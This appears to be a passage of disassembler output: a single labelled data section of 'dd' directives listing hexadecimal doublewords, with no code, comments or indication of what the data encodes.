7E1BA73Ch dd 0B7D17300h, 682C139Ah, 94C090Ch, 2D00F769h, 0AB1C3543h dd 58412A01h, 0AD727686h, 13905EF0h, 65241Eh, 0FF7943ACh dd 0CC913BB6h, 0C3AEA030h, 0B7C0138Ah, 904021CCh, 0E3029CEh dd 402A5CB5h, 1F9316E1h, 7D4A015Bh, 0F3306FCAh, 7BE84136h dd 8720485Fh, 8C3104B8h, 0AD8D089Dh, 0A0004C72h, 728911BDh dd 0FF009CB7h, 423DF528h, 85E9F4h, 0C07BAED4h, 95B76A84h dd 33823EDh, 3B1CC2E5h, 79C0C010h, 18C7C54h, 3985121Ah dd 4840E8EEh, 0E88A5D4h, 0FE060094h, 5DA38058h, 11006305h dd 3CF2BF23h, 5C5F1476h, 69A06010h, 0D63FD55Bh, 0CEDC48E7h dd 24712025h, 3D075F7h, 50987E4Ah, 83F01C42h, 0AC17B402h dd 48301245h, 416091h, 3C76E2E8h, 612AFD15h, 0DD853100h dd 5CA362D8h, 96F20025h, 108B97D9h, 3E045D9Bh, 37EE05E5h dd 4BB530C8h, 6FC440ACh, 0FBDF7F95h, 0D9D6000h, 0FC11DB7Ah dd 0B886746Dh, 15960060h, 1E705EA9h, 0C248A669h, 13D42040h dd 20A1E0ADh, 703A834h, 994A3307h, 0F7239061h, 410FC0DDh dd 781F0980h, 88449FFCh, 0D61A1000h, 6FD2B263h, 0E70FC2Fh dd 41482406h, 4E6D8181h, 7F1C6020h, 0AE3B0EF6h, 0B64C42h dd 55C4BDF9h, 11C5171h, 43E99EA9h, 3C26E24Eh, 661181C8h dd 7AF05E5Ch, 2D8A0040h, 0A6388EB8h, 0E84BE9EEh, 0D3AC0C42h dd 0B5BC8024h, 1A3BFDCh, 807C9159h, 39A135D1h, 0C2650040h dd 0FBA20C2Ah, 11D003Dh, 5DABC987h, 4D000BFDh, 106B3675h dd 62D26Eh, 0BD5B0599h, 30C695DDh, 0DE24134Ch, 48ADC340h dd 92BACF75h, 0A7280008h, 41626EC9h, 84003BEAh, 30581825h dd 0F257497Dh, 5FAD0501h, 813E2Ah, 509B368Ch, 6A01A91Eh dd 0CAA1DDE1h, 51B0BD45h, 0E9FFB1D0h, 0EED3A609h, 60FCE836h dd 6342F015h, 74BD11A5h, 27289978h, 0DD3C7896h, 0BCDC807Ah dd 54ECC9C0h, 8AE65Ah, 622C701h, 1C565B4Bh, 8646AE02h dd 8072C807h, 0BF934724h, 6E716B8h, 0B6EC209Eh, 5C7E9D1Dh dd 3B082D48h, 0FDBC54CCh, 24C39F3Ah, 8D12D4E7h, 0AC359C05h dd 7E88A4h, 9B90709Ah, 92197188h, 2ACAB207h, 96000E13h dd 0A30F55h, 95115DD4h, 688F6D97h, 1A77C4A0h, 0FF0E5B09h dd 0BC88489Eh, 948B0747h, 0C00F105Dh, 7311333Dh, 5A183C1Dh dd 16B28145h, 2FCD830h, 3F30013Bh, 683E95Ch, 0E252D0DAh dd 74E72002h, 0C4A15E4Ah, 10990018h, 1B5BC40Dh, 0C227FDEAh dd 0A2149104h, 248F7DE0h, 4B0E1D4h, 0F2DA9D7Bh, 0FCB000B8h dd 2655D0CEh, 2C1C715Bh, 101C1724h, 8256884Fh, 3499426Ah dd 0ECC0CE60h, 0F7004098h, 894792BFh, 76259Dh, 52096D1Ch dd 0B77EA311h, 0D5544206h, 71B5CCh, 0C49B3108h, 6C8EE6EFh dd 20DDDC0Ah, 50268C27h, 0F6DBCB40h, 0D2A50014h, 0BABD91C7h dd 0AB2A0DDCh, 0E9FED012h, 0A09BD700h, 0F2083D70h, 956C3C3Eh dd 5C306A00h, 8BFA3AA4h, 0E0702000h, 941C59B9h, 0E45001BBh dd 0B58F4B3Dh, 916C409Bh, 0DF07BC09h, 0D415D08Eh, 0ED1BBF10h dd 3CAB0157h, 0B7EB4DB3h, 59D04830h, 66F34603h, 4840EE08h dd 900074D9h, 3734E958h, 15180377h, 69B1ECACh, 701C0286h dd 0B50BD77Eh, 79C8DE87h, 0C6E98C91h, 0D4809479h, 64F0A32h dd 19F760A1h, 0A9B19CA5h, 3A0711FEh, 4FD686B4h, 1B02AB50h dd 1AD7FA2h, 7E051562h, 729B0EA9h, 0A5884h, 0F6194034h dd 1E461770h, 0FAB4CDC9h, 5A0D8589h, 0E7649882h, 20F08441h dd 5019864h, 0E4AFCE74h, 0A992EAADh, 0E77500CAh, 1631C69h dd 0C3E9A00Bh, 0ECD00070h, 0A8C2CFA4h, 17DE88h, 8AE3D3E1h dd 1AAE6658h, 7D467102h, 0C1269BDBh, 0E463A6B8h, 0F8B02B3Dh dd 1D3E2411h, 0A4AC0D00h, 6BB29E13h, 7D4FC54h, 6EC08062h dd 639512B6h, 10BAAC61h, 129F6B66h, 20ACA3FBh, 6D235B14h dd 98F69D01h, 424EE6Ah, 0B6C0AD21h, 0E776050Ah, 0A2FDCD47h dd 53892C48h, 145B1103h, 2543D00Eh, 864D1793h, 0AC2C0908h dd 0E6A86C00h, 8D1E2050h, 0AFA7A6D7h, 8CA96018h, 3B759FB4h dd 0AB0E1D90h, 88E2648Bh, 0D4CC4DBDh, 20BCB481h, 0AC96AB6Dh dd 3ED3F883h, 28419064h, 5C5E489Bh, 88CE4913h, 0B2039778h dd 6676EF74h, 0F5589156h, 2FAE09E8h, 44A0CE84h, 5BC7B2C4h dd 6EABC000h, 0C943B5B7h, 68A7072Ah, 0E03703DCh, 24045987h dd 2B6D9D17h, 193EB801h, 9C20DCDEh, 270F26E6h, 0A17B0198h dd 50CD9880h, 0E01383D0h, 8E40CA00h, 27D3AA85h, 2B45A49h dd 0CAE8C14h, 50BCF084h, 7200DCC8h, 48C029EDh, 28400008h dd 60EC2CAh, 0C4057990h dd 0A50F4558h, 0D000E8A2h, 0C79DC268h, 71000409h, 7E7C292Fh dd 7E07A80Bh, 1C844808h, 0E62CD580h, 903C41B9h, 0DE938182h dd 21D3446Eh, 90AFCAF0h, 0F9A3245Fh, 1E4111B8h, 6F1C8132h dd 4ABDD2C1h, 88D0D1A4h, 0B9CA00A7h, 0B5741A29h, 0E0F96DC5h dd 0D40339F6h, 0AC486FEEh, 7AD900E9h, 794FA512h, 0F707E03Fh dd 75DFA09h, 59027C92h, 200C0064h, 5916C784h, 0AD951A07h dd 2930C6D7h, 9187A613h, 657684A0h, 7700BEF4h, 742FF841h dd 9006F037h, 54A11ECCh, 46D740EDh, 1E26024Ch, 84B09E2Ah dd 54EE2500h, 0C07B99Ch, 44963B0Bh, 0A9875A00h, 2233DA67h dd 88487F00h, 0D4555827h, 609EEED0h, 169941C9h, 2009768h dd 1B3E8011h, 2CE7DA98h, 603CFE57h, 0EA9C5A1Ah, 3A996F01h dd 0CCD7B619h, 8E4920CEh, 7F02FCC7h, 0C5F45DC8h, 3AEBC0F5h dd 0BE5B7961h, 0FCC16960h, 0BB146033h, 50E288h, 7A3CB66Ch dd 3011E3BAh, 0D9EBD500h, 7207FECEh, 40CB2E90h, 0CD64C040h dd 0E45A137Bh, 0DD9D6823h, 0B548B300h, 210911Bh, 0E420F9B4h dd 0E4841E0Bh, 50A230h, 0EC299F7Fh, 0F700CBAh, 829EA4FFh dd 2410D460h, 3D4CE964h, 80CE8938h, 7E028F5Ch, 6DB61281h dd 2DEC0B7Dh, 49003CE4h, 48849007h, 46CE22Eh, 0AB02EF08h dd 0D61E40ECh, 194C8D4h, 3EE1E651h, 4277BD87h, 0E4C4CF20h dd 0E1B3C91Dh, 0FC1B81FAh, 4B5059BCh, 66F804C7h, 81ACCC02h dd 9213B058h, 5409C909h, 7C7410EBh, 91470BF8h, 5189CCE1h dd 0E9DF1480h, 6C1EBB9Fh, 84061A86h, 50389343h, 494743Eh dd 17B52506h, 8108D09Bh, 6D0292AEh, 0CE7E4184h, 905AABh dd 3F445A26h, 0CA9E5CC7h, 8BB96100h, 0DBC58C48h, 635E8Ah dd 0F2C2A704h, 9B0A6CEFh, 781249C8h, 0D200B611h, 0FAA57A5Fh dd 44004078h, 529EB90Fh, 0B412D1Fh, 0C18FE620h, 9C9D3C00h dd 4F1F34B8h, 3B0019D1h, 0C64B356Dh, 76F70AB6h, 5CCC2C8h dd 0A46CCB98h, 0CAE05804h, 0B06B52h, 428A6DF8h, 0A6F9EA12h dd 111C39BCh, 9D52320Bh, 9B248C01h, 0B15C24A4h, 1F95C900h dd 309F88ECh, 2C73E0h, 0BD3EF7D1h, 6FF87F08h, 91CAD804h dd 0A0C89B26h, 0C5A8009Eh, 0A25F631Fh, 0A0C599DAh, 2580754Bh dd 51BB57h, 71E0AE1Ch, 5B8CC61Eh, 34D74504h, 0F48C48FFh dd 1D9E065h, 7D2A24BCh, 0FCC08C3Dh, 69001C2Dh, 0E7FB4EB3h dd 0B1ACF13Bh, 0BF0F00E0h, 89C45C01h, 0F7CBDE00h, 0E9E83796h dd 743C00E7h, 4DACD0B6h, 0E52442A3h, 0FD1FCCD5h, 3E67DD00h dd 222946Eh, 0CA4979C6h, 7071C5DCh, 0E9C20E00h, 5553DE5h dd 76588272h, 40D51D3Fh, 0DB06DA3h, 9302BCD1h, 0B6D87E29h dd 805CF13Ah, 27308879h, 0F94C1C0Fh, 0F23F1110h, 3941850h dd 49557F5Bh, 4AD8D1A3h, 98B6CAEAh, 0D4A61E40h, 0AEC344CCh dd 2C758BDh, 81A4E694h, 849916F7h, 9A8F601Ah, 97D6A200h dd 86D153E1h, 766D3F7Fh, 8DA65D3Dh, 98AC0EFCh, 0C048AD2Bh dd 2100037Bh, 0AB5A7A10h, 0CE1420h, 0BBD532E1h, 0C0CF79A7h dd 25AC6688h, 0B840DCFDh, 3E132A98h, 488826B5h, 54E007Dh dd 9F1C76F5h, 6C0087B4h, 0E5E710D6h, 254DBEF3h, 0CC68CF62h dd 0F700A63Fh, 34A41117h, 761A79B3h, 0EF9B2C16h, 747000BCh dd 398E6D63h, 0E08009DDh, 0CAA01440h, 946B5462h, 0E68D0E3Eh dd 8FC09B47h, 5B1EBDEEh, 103AE925h, 7B05C0h, 92CB957Ah dd 0E0616E7Dh, 74BD5F08h, 20CE96F0h, 0F6274554h, 329EED03h dd 0A8DB76BCh, 2E92069h, 138C6108h, 30544CC8h, 0A044FB60h dd 9C242E1Fh, 6FA0034h, 2D717B62h, 5F0284FAh, 60C27296h dd 2E466B5h, 74E52438h, 0BCFE8779h, 0FECA7600h, 50AC2F49h dd 2DF4CEEh, 0C287404Fh, 0AC407186h, 274EFBF9h, 637AC20h dd 47DB00FEh, 4156D505h, 0CB0FBC8Bh, 894254B2h, 0B78A02A2h dd 940463Bh, 0C35A4B86h, 4F94B880h, 7304F810h, 39B75EF6h dd 167E64A4h, 307F5AB5h, 4F6224F8h, 41A40C00h, 9F974366h dd 0E5490753h, 0B8CA9559h, 8DA91C40h, 9BE9012Ch, 0E39C0B98h dd 99984090h, 1F01FBF6h, 0B665B294h, 202B8B95h, 7B67EA1Ch dd 255F6D00h, 84E9266Bh, 233D000Eh, 0D3B2D1BBh, 0FF02D4EEh dd 51FC36E8h, 0AB704009h, 0C4E013D6h, 0C0E81D26h, 42C8A8E9h dd 0EDE948B7h, 8CC815F0h, 29B081h, 3656EDEBh, 0C79641D4h dd 0B20040F4h, 21E8CF01h, 76037Dh, 39847312h, 59698678h dd 6C9B5802h, 7277C8B0h, 8D79C2B0h, 7C5E2C87h, 9B169040h dd 27CE0517h, 2EF2FF9h, 3BDF9680h, 10CB70E1h, 0E30D5B6Ch dd 1EAB0E70h, 0B5014Ah, 1FD85DBFh, 0C00B62C3h, 1072C849h dd 88BCCEA4h, 4B3A2F48h, 0FCCB2C9Fh, 5FD88F61h, 1C4E8CF4h dd 66C2E2A4h, 72870000h, 0B77DED0Dh, 47BE951Eh, 0C03F328Eh dd 0BC7BC614h, 0CAA613F6h, 0FB3C20CEh, 5EA2FDEh, 3D9E3405h dd 80F2B657h, 23B9D900h, 0CE621425h, 6ADEE07h, 40543273h dd 570184ADh, 0A8644D2h, 30A3E8B2h, 14C8964Eh, 333E85Bh dd 26C1FD51h, 0CCB3CE5h, 9D8D4FB0h, 0D0654E02h, 98110190h dd 12EE61ACh, 0A6FB75h, 6CF277B8h, 8048BD92h, 42E9859Ch dd 781C14C8h, 0A43F27FCh, 0E0B0D892h, 39721C21h, 9E047803h dd 0DB927B7h, 0CF44CA69h, 747423A9h, 0B08C8B00h, 32EAE90Fh dd 0ADB300BAh, 13B9ED4Dh, 34E09E16h, 0B6000890h, 0E3CB62C5h dd 4432947h, 0C92D35D3h, 1F4385D1h, 0A880C068h, 5BF247FDh dd 0CE18965Ch, 8B0E20E4h, 0C49A9Fh, 0EAB113C5h, 6E502FB4h dd 0A4805C4Bh, 0C056A0FFh, 238CEE99h, 1F000EE3h, 31101A45h dd 25DB13Bh, 9870E8F2h, 8044CCD5h, 87326739h, 0AFDF615Ch dd 0A21289E0h, 0CF730Fh, 24ACDBE3h, 117320BEh, 0F4BCE601h dd 0A1593798h, 0F200FC69h, 7DE88D14h, 79F4B91Eh, 0E4AED0CBh dd 0F60539FCh, 0A5436C00h, 0B67E501Bh, 0E45010EEh, 37126BCh dd 8BC61101h, 0FC53046Dh, 2486E0EBh, 0D5AD02D2h, 0CE74B2E5h dd 5516C458h, 0E8C8DAFEh, 90D70F94h, 0F120FFF4h, 365086A6h dd 80CCEF60h, 0FC4E05E0h, 74CE000Ah, 76D7DADCh, 0C98AD09h dd 30D8814Ch, 873C88B6h, 0C1A17CE1h, 8C749D59h, 86682048h dd 22DC2807h, 0D5603733h, 3803E01h, 1A8C6DABh, 6ABFE7Eh dd 0BEE3C1h, 20EAF62h, 363E2F4Bh, 1CF95ECCh, 3A01003Eh dd 0B9F4B804h, 7C7000Ah, 0D9866C39h, 0E8058555h, 825BF87Eh dd 0A90110C0h, 56D80473h, 0C1B34216h, 12C54B00h, 41DB6046h dd 272EF905h, 1662B0A4h, 0D0193A4Dh, 237951A0h, 6CDCD2C1h dd 9C930088h, 0C30B8B6Fh, 0BD094937h, 71B6EB40h, 47F51FB0h dd 0E42642FBh, 0C05CAC71h, 28B9CBE4h, 3C5803A8h, 47CA43E6h dd 6CC62109h, 1298D03Dh, 42E50ABh, 0C1405E80h, 12F57F94h dd 8C1887CEh, 47C96BF0h, 0E9722719h, 211C4C4h, 1400F4ABh dd 2DF094C0h, 22005F30h, 535907B3h, 0FE39DCD4h, 24E11F4Dh dd 5080AF6Eh, 4F9B8046h, 828D643Bh, 391E35C4h, 0CE146067h dd 624012Dh, 0E9A85AC8h, 7822D3F9h, 4EBD7C4Ch, 0EC7889D6h dd 5C071884h, 0C8A2AC58h, 7FB9CA20h, 64815C3Eh, 8830D4C0h dd 8300DE24h, 0C91D9A8h, 58381E7Ah, 9EC9E4D1h, 426E8503h dd 6DF22198h, 0B088B361h, 7C40F7A0h, 0CC77Fh, 0A7E1394Bh dd 0E8B2730Eh, 0A60FEAFEh, 21DECCA8h, 0F2591A60h, 0C0299ED9h dd 0F69DC503h, 0D9CBF4FCh, 930248E2h, 1FDCC4ADh, 8090E8C7h dd 85345080h, 931475C6h dd 14D0B44Ah, 3988815Ah, 4140919Ch, 26F47300h, 6CC0FF3Eh dd 0D1A6AD00h, 648E2B44h, 5F202B2h, 0E6478574h, 0FC0018D1h dd 956F4F78h, 0DBD2008Ah, 0D3315901h, 6B00C176h, 0B89C505Bh dd 9A14436h, 187CCE3Fh, 6FE96C30h, 9183158h, 84B30A7Bh dd 8A49A470h, 0D9374680h, 0C4097041h, 9A80E3AFh, 4D9201CCh dd 0DC609324h, 0CBC70017h, 0D3AD2FDDh, 802F9716h, 0AB189052h dd 0B9E60385h, 0C8033D73h, 0E9D237A0h, 3890A307h, 0F71BCA1h dd 7C204052h, 9B8E3091h, 26444C69h, 190DDE05h, 74E2C59Fh dd 711D5201h, 3B31A39Eh, 325A2C20h, 53B70492h, 0C05F6A80h dd 5625E99Ch, 0B80DE12Eh, 0EE13F411h, 0A9EC405Eh, 27AE57E9h dd 0D020FB4Bh, 0DFAB5Ah, 0D24938A8h, 0DE4523C3h, 1B9E300h dd 91CAC83Fh, 0FA0D072Ah, 0F0493E31h, 0AA98E65Fh, 39C7A102h dd 664EB265h, 43954C18h, 0A8B49A00h, 0C9D69CE8h, 0E4E10326h dd 5A1A7B01h, 407CA4A9h, 0EB145780h, 39001751h, 6493809Ch dd 12D29642h, 5B11BDh, 9BA39890h, 0A75EE8E9h, 6C5A0042h dd 632CE1F8h, 1C0BDC29h, 34596724h, 33A5D600h, 39F4BF97h dd 0D3009C86h, 0CE16D8Dh, 920B690Eh, 1045CADEh, 60CCB790h dd 0FD7E99F5h, 0D21DAE1Fh, 0EA82E901h, 0F1A4DFC4h, 11520058h dd 28F86E53h, 0A9CA8600h, 0AEB8ABB9h, 0E05B4C7Fh, 345E84C3h dd 4249FFF1h, 0ACE0DCC4h, 0FC628773h, 54A0AE10h, 6A9D87D8h dd 0D9B770EAh, 98E82BD8h, 0A18AB014h, 0A632C454h, 0F95FE147h dd 614D44E8h, 71028B14h, 28272C9Ch, 0D149D409h, 847D03D8h dd 42D06430h, 70003A5Ch, 0B6417624h, 0FCF49Fh, 0E771210Ah dd 206E5F26h, 0C144F0B0h, 82AD00AFh, 0CF6F62A5h, 64F4F99Bh dd 688D5F07h, 6DF05EE8h, 0E026FED0h, 0CEE4005Dh, 0A4B9A8C8h dd 0E17F9372h, 3990D8B0h, 11800D0Bh, 0C0C4B4h, 0CB402805h dd 3971AF29h, 0F7F42E13h, 9D60803h, 0E9CCA035h, 415505C6h dd 0C7F09768h, 608068C0h, 0A97321D8h, 154989Eh, 92CC759Ch dd 205F8A64h, 44988F0Ch, 0B1BD0E44h, 0B7CF8820h, 0AD2D8780h dd 7920497h, 17623C7Ch, 4FD8C015h, 60BA974h, 220C68h, 85F68244h dd 4C7914C0h, 9C80C096h, 0DD992416h, 1FCB9380h, 6D92BFD1h dd 0D4F7A444h, 4021CC3Eh, 1E6100A1h, 0F65DD4F8h, 0C9BC895Eh dd 0A50BC700h, 4569C4FCh, 94B90E75h, 525C4F80h, 124858D5h dd 0A2D91646h, 0E1F509CCh, 7A3A00F4h, 0E01E925Fh, 52C11D3Dh dd 84C8051h, 0FB77AE04h, 281CAA2Ch, 0A0233261h, 721191E4h dd 0A6B93D50h, 43F105F7h, 8D6CCB4Bh, 0D4C1D2CCh, 3E410BDh dd 0D50E2708h, 0EBB29010h, 3A0E40E4h, 0BD795473h, 2E8E694h dd 0CBE511D1h, 9D4C7A62h, 0CC6AEC03h, 0C0705158h, 47F0C203h dd 14D200A2h, 95B01988h, 0D9F4443Bh, 1E6BD097h, 578C42FFh dd 9DE8012Ch, 2C0ACD1Ah, 0BD9805Ch, 7E1E9379h, 5BBF0095h dd 4690C4E8h, 0D309EC91h, 913EB6D0h, 8020D498h, 0BDA1004Ah dd 3A8732AEh, 3498A31Eh, 3B709197h, 34EE1851h, 9B25B862h dd 0FD6AC0A1h, 952BFCC1h, 9E20CC3Eh, 0DD4B1892h, 280458C0h dd 0B880ED1h, 0FDEDE580h, 0CB01E8C4h, 0EA37E98Dh, 82C86A62h dd 0F8420156h, 0B0BB6C3Ch, 0CC203B89h, 9E5BAFh, 0EEE93785h dd 8AC858B3h, 2209E300h, 0DF103BFCh, 0B4F900F8h, 0BF4153BCh dd 620075B8h, 0BBDBACBAh, 1DAFAE39h, 40243A73h, 237B2B76h dd 70E7CD98h, 0C000EED8h, 5D324B0Dh, 48E6802Ah, 0BF06AE79h dd 684F270Ch, 0B3F01D03h, 0A05C5A45h, 0E010B33h, 3FDDBA72h dd 6B6F0921h, 0B9409830h, 7D06C24h, 0D555BDB3h, 46043050h dd 0FC000A09h, 0D7DF9856h, 3F6D365h, 6899EFE3h, 810A6EDAh dd 0F7FD39B9h, 19C03F1Fh, 14B09AF0h, 5FB2303Dh, 0E8F63220h dd 1F435D3Eh, 5403019Bh, 0E0FED1BCh, 0FBDEFECh, 0C70CAE4Dh dd 0E36E9503h, 31065900h, 609FC31Ah, 549A00B5h, 38FAC2F4h dd 3403886Ch, 9852BBD5h, 6023D8E9h, 97F60EF2h, 1C230AA2h dd 49008A3Dh, 0D8AFBB32h, 1EFDF11h, 19DDCAEEh, 806DEB4Bh dd 2B5E0121h, 954816h, 0D1D8C775h, 0BDAD1108h, 5751FC0Ch dd 0B85D2823h, 0D63E0065h, 6144B0CBh, 0F2FCF331h, 83ADCE01h dd 0BE3D7872h, 8AC33C40h, 57A10033h, 0AADDF8BDh, 0CD19D188h dd 5AA0B5C2h, 97DCF017h, 6C3B4136h, 8B1F8053h, 0F6A89333h dd 370A7FD9h, 7780B4D4h, 2A4D10B3h, 8C06533Ch, 84B03D19h dd 39543049h, 26FA28A9h, 35382F00h, 7E7DB1E2h, 0DAA301E8h dd 5A126BA1h, 22FCFC77h, 0B10BCC31h, 3440DE09h, 67EAB2C7h dd 0A072596Ch, 0EBE7B62Fh, 0FAF36600h, 51AF9E37h, 0B7390076h dd 2B7555F4h, 0E11DC2DBh, 37C723Bh, 85EFF911h, 52A8C1C4h dd 9AEB2A00h, 0E3951805h, 8803C5CFh, 0A18B64A3h, 0B44854C4h dd 7A4839C6h, 0DE776100h, 918EFFECh, 5687B700h, 0D3554ABDh dd 4BA7470h, 23EFA368h, 8D6888CCh, 0A427B201h, 15472EDh dd 0A71798Ch, 87004221h, 3F5A15B7h, 1D0890Ch, 9DAE0D18h dd 0FA48F854h, 0DFC2E090h, 30889903h, 0BBCC3Dh, 251177D8h dd 0F5098E7Bh, 0AF3098A4h, 61FBF074h, 12E7A0BFh, 90567AF4h dd 4F3200C4h, 0EFF6DA5Bh, 0BD03CB35h, 0F90A08AFh, 88F1002Eh dd 0DC972F5Eh, 56066AA2h, 35BDEED6h, 2ABE2858h, 78A44890h dd 55B29706h, 0EB063928h, 0E9E2E5A0h, 0BB7944B8h, 7D36DF16h dd 0BC6DCE00h, 30F50BFEh, 0AB216FEBh, 95041496h, 121DFA9Bh dd 0BB60C1C0h, 31AD0071h, 36F49AD5h, 0D101F0C8h, 0DB754FA0h dd 80CE0A64h, 38E48A3Ch, 537204ADh, 8196B783h, 206766E4h dd 0DC885B6Ch, 9C6E0018h, 223C3850h, 98A95572h, 0E0803E2Ah dd 1DBD5AFh, 70C0D625h, 3074AABCh, 33021D0Ch, 652C5DA3h dd 1CE4883Ch, 0ECA5CC0Eh, 0EE78926h, 8F866F3Eh, 34C64FA3h dd 0D0C070CBh, 0FB048710h, 27454883h, 0BBAA19C1h, 0F0976FC8h dd 0C1BF00E9h, 9CF08ACCh, 0C0C4EF55h, 0A882B467h, 2B882F72h dd 0CD6D2780h, 988609BBh, 3B053BB0h, 2129DB18h, 80A0F064h dd 0A205D173h, 0EC9E6224h, 106E9409h, 0D0EA4Ch, 0BBB634AEh dd 0C48170DDh, 788D8801h, 0F1D1B438h, 7955F0h, 0BE54587Fh dd 0F89501F4h, 9171EA35h, 0EC8DEF80h, 19410FADh, 15678924h dd 0E2BA530Ch, 337F84E8h, 4FCEC204h, 90805B81h, 2A8EC56Eh dd 0A0020Dh, 79DD33C3h, 0BC481559h, 802E6B3Fh, 0D1A27C4Eh dd 1AEAA1h, 0B356B5D8h, 709C674Fh, 0F40AB58h, 8E8ABCDCh dd 8FE7A0CFh, 0F039E180h, 0E43E3EB2h, 0AFBA1204h, 5C84C0h dd 8B4C99A4h, 0CC0EC65Bh, 4909F87Bh, 3D201120h, 18B444FAh dd 0A1B6A672h, 0C5192056h, 0C9114802h, 4844BE70h, 7B734ED8h dd 0BC80029h, 0E2F6839Dh, 7660EB3Eh, 985F3749h, 0DB5D008Dh dd 69C1D979h, 0A0A4EBB6h, 0B04A460Eh, 0DFE0A793h, 2D610587h dd 48C4F66Ch, 296E698Ch, 63E04418h, 5B35FA0Eh, 8438403Fh dd 1FD78Bh, 1BB3B917h, 9C6375E0h, 3E6B1D18h, 1C029BD1h dd 416EF8C8h, 0E263B1CBh, 5F8C200Dh, 0FEED0E88h, 431C095h dd 7D3F5277h, 3546E600h, 0D64CC38Eh, 0AC9801F5h, 2976C96h dd 7B8850A9h, 0A50FFBA0h, 0C478F083h, 14A83EEBh, 407C691Fh dd 8872FC46h, 0C3249133h, 62C0205Bh, 166B1614h, 1E594Eh dd 91FF1B5Ah, 2B0003DCh, 3E87E040h, 6D82210h, 5772DA01h dd 6E5079A6h, 1500C970h, 0CA348DBFh, 2470B228h, 0EA0925Eh dd 336C2263h dd 722ADB29h, 0FC90A4AEh, 84A345FAh, 6A0B1126h, 0D95FC900h dd 926D7Bh, 76F312E1h, 6188C685h, 7F1A1B13h, 0C67F803h dd 55390747h, 20714AA3h, 6D6FA454h, 45EE4400h, 0C6013E5h dd 0B229C051h, 65078CF0h, 0E298FF77h, 0D351F14h, 55804E10h dd 90BC4EB0h, 6FE53h, 0F360210Bh, 1464AAC4h, 0C1225730h dd 0EA5EB2E6h, 65D5036Ah, 2443CB3h, 0E092C499h, 3D98FB24h dd 0B4788826h, 0E93642C0h, 55B83E99h, 7E960C00h, 3B28D8E5h dd 61F74A03h, 0A53AED35h, 4CD78614h, 0C07E8FE0h, 0CF243F20h dd 87222h, 67D9338Fh, 0FB046A28h, 0AA7C7E02h, 20E6CB23h dd 3E92F910h, 5C571226h, 253B1D40h, 16232496h, 535402D4h dd 5CC6F109h, 1E957940h, 0C345B555h, 0ACC3DAE9h, 0AB72DCE0h dd 48984E54h, 89608948h, 101080BDh, 0E819C224h, 47FE0627h dd 792C5713h, 8803FD07h, 54009590h, 4CD16FFFh, 0FECFA8A5h dd 9ECE57C7h, 34DC3A80h, 24005FA9h, 819AF09Dh, 0B96548CFh dd 5DC0090h, 2E4D1DC1h, 8C5C18C8h, 11512154h, 132D7D00h dd 38917B95h, 0C4C2010Eh, 0FF99DC16h, 119EF496h, 58A92900h dd 9BAF47BDh, 4430A0ECh, 5FE01C5h, 0EB97CA83h, 0B6136Eh dd 62C9D806h, 0A825BCB4h, 0E3589700h, 0FA59121Ah, 0EA8A14ADh dd 0EE005478h, 2225775Eh, 0CCABE5D2h, 3073C6B1h, 0B5604A88h dd 980465E0h, 0C9C500F9h, 1C2913F2h, 0C2152A3Bh, 7FB8A40Dh dd 20645300h, 0AF4946E8h, 1E7CEE50h, 0C0D783FAh, 0BA14923Bh dd 8F1C3553h, 2180AFBBh, 0B5F807F6h, 5C8807ACh, 25AAD37Dh dd 0BE2C8002h, 0C98924Ah, 0B404C216h, 5C524C30h, 0C8D17A34h dd 6883A980h, 9FCD362Fh, 4CA505E0h, 7452007Fh, 0E07BDD0Ah dd 662E5546h, 73D1C22h, 0D3C335D8h, 0D61B10A0h, 10FF489Bh dd 0A2AE517h, 81D42994h, 0CF88053h, 4A8C706Dh, 0B4D7991Dh dd 0D49C9500h, 0F338A8Bh, 0B6217BECh, 80C40FA5h, 6B1F4730h dd 6AB1EF60h, 1C94F41h, 5A810F61h, 0F47D65D0h, 4488206h dd 5BCD1CE7h, 0CC74EC8Ah, 0D5111683h, 0E8CFD854h, 0AABF398Ch dd 8CBC7614h, 1F5F7E7Dh, 0C92610FEh, 0D441135Ch, 984430CBh dd 6C69A326h, 0B3013111h, 5FDAB53Bh, 8A208093h, 55338B48h dd 6B991841h, 0C91A293Dh, 327D6426h, 0D617C700h, 0AB500D06h dd 3571DFB0h, 25F95AC0h, 0B7049E4h, 0B33D7AC6h, 0AA72A090h dd 0F8128CB1h, 1C00C889h, 72DF0642h, 0B7750051h, 0BC1D51Eh dd 0F4A0BBBAh, 9A58DEADh, 0EC0A0ABCh, 0DF43A06Dh, 9B79A8A8h dd 7A7AC069h, 53B69851h, 0C46AA400h, 0DBF49A70h, 1C9020h dd 7D7B17C0h, 871AB3EDh, 9A2C4CF6h, 5D012D92h, 0DE09FFCBh dd 55000C29h, 9F1C9E08h, 3402B3F7h, 0D604BF3Fh, 0D03C4364h dd 0EA446398h, 0EC3F065h, 20E5D00Ch, 0CB301EB7h, 1831A972h dd 0F1302164h, 599FC4AAh, 5AFC602h, 52A87513h, 0C0C70808h dd 798F2F54h, 0BA458020h, 17079F06h, 138FECh, 7481634Ch dd 0CC913423h, 1B02E42Ch, 0A070EB56h, 0F3FE7ACh, 0B20E00C3h dd 0AFDE4706h, 2C488DD3h, 1C9B06DCh, 0B05056CFh, 61A73D4h dd 542EDA67h, 811D8124h, 0FB00ED06h, 944A70E6h, 0A1EF014Bh dd 0CC7BA778h, 54EAC850h, 80388499h, 4D59A85h, 94F30917h dd 0C323856Ch, 0F4540D31h, 0BBD820A1h, 4B24110Bh, 0D9D40039h dd 18F7DBBEh, 31096EF0h, 0E24E00Ch, 0CD00A05Bh, 569BA50h dd 0F76A245Fh, 88A60F0h, 0EC61829Dh, 9EED23E2h, 0AB50CCh dd 7A213367h, 6E8AA21Eh, 3680109Ch, 0CFEC9916h, 905F0B1Fh dd 0F48E6439h, 0DDA15E4Ch, 0C7004AB8h, 90367BAEh, 243E7CBDh dd 902D83h, 0CC8F48F5h, 0D33ABBCh, 0B804894Fh, 229D29h dd 5C05F638h, 0E0B49874h, 3EF70914h, 8348488h, 4074EB44h dd 0D09388E3h, 92D102B6h, 4FC4061Eh, 0E6B848C0h, 4CC0F0A2h dd 0DB2C1CB3h, 0E7009081h, 27F4F236h, 0E190670h, 590C6DF7h dd 97431800h, 0F62BD742h, 24F37F54h, 13A03C37h, 744CC8FBh dd 77F24E00h, 63DEE604h, 4F8D0138h, 0A99DD3FCh, 0C39201Fh dd 0C6E14C67h, 6657A430h, 11CD1F7Ah, 2BD92FDh, 13BEF2D0h dd 0F11F8461h, 0E126D840h, 0BB90B104h, 0D0C8BD23h, 34DF0510h dd 0C672F70Ah, 4826597Eh, 556414B1h, 7A8D3B20h, 0FB47CF03h dd 0ED3D67C6h, 